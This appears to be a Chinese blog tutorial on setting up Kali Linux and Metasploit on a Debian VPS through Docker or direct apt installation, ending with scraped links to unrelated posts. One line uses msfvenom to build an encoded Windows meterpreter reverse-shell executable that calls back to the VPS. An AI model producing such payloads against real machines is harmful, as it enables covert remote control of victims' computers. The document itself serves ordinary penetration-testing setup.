在渗透测试过程中,很多时候我们需要反弹一个shell回来。使用empire也好,MSF也好,其他工具也好,都避不开公网IP的问题。这时候我们就需要一个VPS来进一步进行渗透测试。
建立通道连接的方式有很多种,比如NAT映射、ssh隧道等各种方式,这里我们就不探讨了。
建立通道的不稳定性很高,容易断开,对网络安全爱好者来说是一种莫大的折磨。而且可能由于种种原因,购买不到KVM架构的VPS,无法直接在VPS上安装kali linux等渗透测试系统。下面介绍了几种在debian系统下安装kali linux的方法。配合使用screen,或者tmux等工具非常好用
首先我们为我们的VPS安装Debian 8
几乎万能的方法—docker
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
由于docker的运行环境中需要3.8+的内核,此方法不是特别适用,可使用uname -a来检查VPS的内核版本。比如小编的VPS厂商给出的镜像,内核版本只有2.6+。如果你的内核版本低于3.8,请略过该方法,往下看。
安装docker
在debian 8 下安装docker
使用
在docker中运行kali linux
kali linux官网中对此已有详细介绍,这里我们不在重复
较为推荐的方法—使用脚本直接安装工具
git地址:
使用方法
最原始却较为有效的解决方案—直接安装
这是小编一直在使用的方法,之前使用脚本安装kali的时候遇到了一些奇奇怪怪的问题,由于急需,所以后期也没有再升入的去研究,这里分享出来,在以上两种方法都不能解决问题的情况下作为一个备用方法来使用
首先我们修改源,将debian源直接换为kali的官方源
修改/etc/apt/sources.list文件,将内容全部删除,添入以下内容:
deb http://http.kali.org/kali kali-rolling main non-free contrib
然后运行:
apt-get update
运行之后我们会看到,报错了!!!
W: GPG error: http://http.kali.org kali-rolling InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY ED444FF07D8D0BF6
这时候我们需要添加kali源的public key,对应内容,小编这里的KEYID是:ED444FF07D8D0BF6
那么我们就允许如下命令来添加公钥
apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6
我们重新运行apt-get update
安装数字证书
使用apt-key list来查看下,发现有个keyring.gpg 过期了
下载新的文件
安装
apt install ./kali-archive-keyring_2018.1_all.deb
验证安装
apt-key list
安装数字证书
wget archive.kali.org/archive-key.asc //下载签名 apt-key add archive-key.asc //安装签名
apt-get update //更新包列表
成功检查更新。
接下来我们可以根据自己的选择安装所需要的副版
例如:
apt-get -y install kali-linux-full 将安装kali工具
apt-get -y install kali-linux-web 将安装所有和web相关的工具
这里小编选择安装web相关的工具
之后有一些东西需要去选择
大家可以根据自己的需求去安装(小编一般都是一路回车,除有些特殊情况需做选择)
等安装完成之后,按需升级一下软件包
apt-get update apt-get dist-upgrade
至此,我们的kali就算是安装完成了,配合screen或tmux等工具,我们将拥有一个具有所有kali功能的VPS。提高我们的渗透效率
tmux使用方法
Kali Linux 子工具集
kali-linux
kali-linux元数据包是Kali Linux的一个完全简单的安装,包括各种网络服务,如Apache和SSH,Kali内核,以及许多版本控制应用程序,如git,svn等。列出了所有其他元数据包下面还包含kali-linux。
我们官网默认下载的kali linux 2.5G左右的ISO就是指它。
安装大小:1.5 GB
kali-linux-full
当您下载Kali Linux ISO时,您实际上是在下载安装了kali-linux-full元数据包的安装。此软件包包含您在Kali中熟悉的所有工具。
安装大小:9.0 GB
kali-linux-all
为了保持我们的ISO尺寸合理,我们无法包含我们为Kali打包的每个工具,并且有许多工具根据硬件无法使用,例如各种GPU工具。如果要安装每个可用的Kali Linux软件包,可以安装kali-linux-all元数据包。
安装大小:15 GB
kali-linux-top10
在Kali Linux中,我们有一个名为“十大安全工具”的子菜单。 kali-linux-top10元数据包将一举为您安装所有这些工具。
安装大小:3.5 GB
kali-linux-forensic
如果您正在进行取证工作,则不希望分析系统包含大量不必要的工具。为了拯救,kali-linux-forensic元数据包只包含Kali中的取证工具。
安装大小:3.1 GB
kali-linux-gpu
GPU实用程序非常强大,但需要特殊硬件才能正常运行。出于这个原因,它们不包含在默认的Kali Linux安装中,但您可以使用kali-linux-gpu一次性安装它们并开始破解。
安装大小:4.8 GB
kali-linux-pwtools
kali-linux-pwtools元数据包包含40多种不同的密码破解实用程序以及kali-linux-gpu中包含的GPU工具。
安装大小:6.0 GB
kali-linux-rfid
对于正在进行RFID研究和开发的用户,我们有kali-linux-rfid元数据包,其中包含Kali Linux中提供的所有RFID工具。
安装大小:1.5 GB
kali-linux-sdr
kali-linux-sdr元数据包包含大量适用于您的软件定义无线电黑客需求的工具。
安装大小:2.4 GB
kali-linux-voip
很多人告诉我们他们使用Kali Linux进行VoIP测试和研究,所以他们很高兴知道我们现在有一个专用的kali-linux-voip元数据包,有20多个工具。
安装大小:1.8 GB
kali-linux-web
Web应用程序评估在渗透测试领域非常普遍,因此,Kali包含kali-linux-web元数据包,其中包含许多与Web应用程序黑客相关的工具。
安装大小:4.9 GB
kali-linux-wireless
与Web应用程序一样,许多渗透测试评估都针对无线网络。 kali-linux-wireless元数据包包含一个易于安装的软件包中所需的所有工具。
安装大小:6.6 GB
docker 中安装kali
0x02 安装docker
sudo apt-get install docker.io
0x03 安装kali及metasploit
下载kali镜像
docker pull kalilinux/kali-linux-docker
可以通过docker images命令查看你下载好的镜像。
这里kalilinux就是通过上一个命令下载好的,ID是你的镜像ID。msf镜像是我下面安装了metasploit后自己保存的镜像。这里不用管它
root@vultr:~# docker images
下载完成的kali是没有metasploit的,是一个基础版。所以先把kali的镜像挂载到容器里,运行kali。然后直接apt-get下载即可。
docker run -t -i kalilinux/kali-linux-docker /bin/bash //用镜像创建一个容器
然后它会立即创建并进入到这个容器中,也就是进入到kali中。
大概是这样的那一串字符串事你的这个容器ID
root@ce3df32899e1:/#
如果它提示这样的报错内容
- System error: mountpoint for devices not found;
- Couldn't run auplink before unmount: exec: "auplink": executable file not found in $PATH;
请执行apt install aufs-tools cgroup-lite,然后在运行上个命令创建容器。
0x04 安装metasploit
apt-get update && apt-get upgrade
apt-get install metasploit-framework
等安装完成后就可以进入metasploit了
msfconsole -L
然后exit退出msf退出kali,将这个容器保存为一个镜像。
docker ps -a 查看容器ID
- root@vultr:~# docker ps -a
- CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
- ce3df32899e1 msf:latest "/bin/bash" 6 hours ago Up 18 minutes 0.0.0.0:8888->8888/tcp agitated_tesla
- e56943810487 kalilinux/kali-linux-docker:latest "/bin/bash" 6 hours ago Exited (0) 4 hours ago kickass_darwin
- root@vultr:~#
docker commit e56943810487 msf将kali这个容器保存为一个镜像。
docker run -t -p 8888:8888 -i msf /bin/bash 将vps的8888端口与容器的8888端口映射上,方便反弹shell。端口自己随意设置。
这时候就可以愉快的使用公网ip玩metasploit了。
0x05 msf使用
做个简单示范
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=[vps公网ip] LPORT=8888 -f exe > a.exe
成功反弹shell
0x06 docker的常用命令
- docker run -t -i <image> 用镜像创建一个容器
- docker pull image 拉拽镜像
- docker images 查看可用镜像
- docker ps 查看运行的容器
- docker ps -a 查看所有的容器
- docker stop <container id> 停止该容器
- docker start <container id> 开始该容器
- docker attach <container id>与该容器交互
- docker commit <container id> <new id>创建新的镜像
- docker rm <container id> 删除容器
- docker rmi <image name> 删除镜像
- docker cp <containerId>:/file/path/within/container /host/path/target 从Docker容器内拷贝文件到主机上
debian8 换源直接安装metasploit
安装postgresql数据库
root@localhost:~# apt-get install postgresql
root@localhost:~# su - postgres -c "psql" #切换到postgres用户并登陆数据库
##有的教程中使sudo -u postgres psql也是可以的
postgres=# alter user postgres with password ‘postgrespass‘; #修改数据库密码为postgrespass
postgres=# \q #退出数据库
安装metasploit
root@localhost:~# apt-get install metasploit-framework
# 这里会装一大堆东西,而且会更新libc之类软件,如果你的系统还装有其它软件,请谨慎安装
配置metasploit
root@localhost:~# msfconsole
msf > db_connect postgres:postgrespass@127.0.0.1/msfbook #使msf连接到postgresql数据库
[*] Rebuilding the module cache in the background... #这句话的意思是在后台重建模块缓存。
msf > db_status #查看数据库连接状态
[*] postgresql connected to msfbook #这个时候就可以正常使用msf了。
msf > search smb
[!] Module database cache not built yet, using slow search
##如果出现了这个信息,意思是说数据库中没有模块的缓存,使用缓慢的搜索(直接搜索磁盘)。
##出现这个情况有可能是后台重建缓存未完成,只需稍等片刻再尝试,也可能是数据库连接不正常,
##导致无法重建/读取缓存。
- 在VMware Workstation上安装Kali Linux
在VMware Workstation上安装Kali Linux VMware Workstation是一款功能强大的桌面虚拟计算机软件.该软件允许用户在单一的桌面上同时运行不同的操作系统,并且可以进 ...
- VMware上安装Kali Linux 超详细教程
一.下载镜像文件 下载好系统对应镜像文件 https://www.kali.org/downloads/ 二.创建新的虚拟机 1.创建新的虚拟机 我们使用自定义的配置方法. 2.添加镜像文件的路径 ...
- [转载]在termux上安装Kali Linux
最近在手机上下了个Termux,然后想装个kali,就找到了这篇文章. 不过其中的命令有一处错误(在我进行配置的时候报错了): 命令应该是 ./atilo install kali
- windows下 安装Kali Linux到 U盘的方法
作者:玄魂工作室 \ 2016年10月20日 把Kali Linux安装到U盘好处很多,可以从U盘启动使用整个电脑的硬件资源, 可以随身携带,减少对自己电脑的影响. 今天要给大家讲的是如何在windo ...
- 如何在LINUX VPS上安装VPN详细步骤
在vps上安装vpn是个难点,很多朋友都不会,这儿结合一位朋友的安装经验做下介绍.注意你的vps要安装做vpn使用,一定要注意你的流量限制,使用Vpn上游戏上youtube看视频等都比较耗费资源,否则 ...
- 安装Kali Linux操作系统Kali Linux无线网络渗透
安装Kali Linux操作系统Kali Linux无线网络渗透 Kali Linux是一个基于Debian的Linux发行版,它的前身是BackTrack Linux发行版.在该操作系统中,自带了大 ...
- 安装 Kali Linux 后需要做的 20 件事
安装 Kali Linux 后需要做的 20 件事 本文含有我觉得有用的每一件事情.本文分为三大部分: 专门针对Kali用户 Kali Linux是来自Debian的一个特殊版本,Kali Linux ...
- Kali Linux on Android # 实测:小米2s离线安装Kali Linux
小米2s 离线安装Kali Linux 2017年2月4日 by 小甘丶 前段时间也研究过一两天,没弄明白,今天突然来兴致了,说研究一下吧,结果一不小心,就弄明白了! 第一次研究,主要是没弄明白这个 ...
- 安装Kali Linux 后需要做的 20 件事 - 51CTO.COM
我在本文中整理出了安装一份全新的Kali Linux后总是要做的若干件事情.由于我有多台笔记本电脑和工作站,所以尽量扩大下列操作步骤的适用范围,以满足每个人的需求.这是我在安装Kali Linux后做 ...
随机推荐
- 【题解】射击-C++
Description 不难发现,豆豆能从很多事情中去思考数学,于是豆豆父母决定让他去练习射击,这是项需要集中注意力的运动,相信 能够让豆豆暂时脱离数学.学习射击的第一天就让豆豆产生 了浓厚的兴趣,射 ...
- Day1 -Python program
采用python 3.5 用PyCharm编译 第一串代码 print ("hello,world!") 练习1 输入一个用户名和密码,如果输入正确,就欢迎登陆,否则就显示错误. ...
- .netcore微服务-Mycat
1.前言 1.1 分布式数据库 随着IT行业的迅猛发展,行业应用系统的数据规模呈现爆炸式增长,对数据库的数据处理能力要求越来越高,分布式数据库正是因此应运而生. 分布式数据库特点包括: 透明性: ...
- Flink实战(六) - Table API & SQL编程
1 意义 1.1 分层的 APIs & 抽象层次 Flink提供三层API. 每个API在简洁性和表达性之间提供不同的权衡,并针对不同的用例. 而且Flink提供不同级别的抽象来开发流/批处理 ...
- ES6 symbol 以及symbol的简单应用
前置 1.ES6 引入了一种新的原始数据类型Symbol,表示独一无二的值. 2.Symbol 值通过Symbol函数生成. 3.Symbol 函数可以接受一个字符串作为参数,表示对 Symbol 实 ...
- 2019牛客多校第一场A-Equivalent Prefixes
Equivalent Prefixes 传送门 解题思路 先用单调栈求出两个序列中每一个数左边第一个小于自己的数的下标, 存入a[], b[].然后按照1~n的顺序循环,比较 a[i]和b[i]是否相 ...
- 【HTML】HTML标签介绍
1. < 小于号2. > 小于号3. 空格4. <p> </p> 内容作为一个段落5. <br/> 表示换行6. <h1> ...
- 【Demo 1】基于object_detection API的行人检测 2:数据制作
项目文件结构 因为目录太多又太杂,而且数据格式对路径有要求,先把文件目录放出来.(博主目录结构并不规范) 1.根目录下的models为克隆下来的项目.2.pedestrian_data目录下的路径以及 ...
- 初始SpringMVC 完整版
初始SpringMVC 1.SpringMVC 也叫Spring Web mvc,属于表现层的框架.Spring MVC是Spring框架的一部分,是在Spring3.0后发布的. 2.Java EE ...
- Web访问原理-从输入URL到页面加载完成的过程中都发生了什么事情?
从输入URL到页面加载完成的过程中都发生了什么事情?--这是一个经典的面试题: 主要是关于计算机网络方面的知识基础,对于非科班计算机自学web开发的同学可能理解起来就很困难. StackOverFlo ...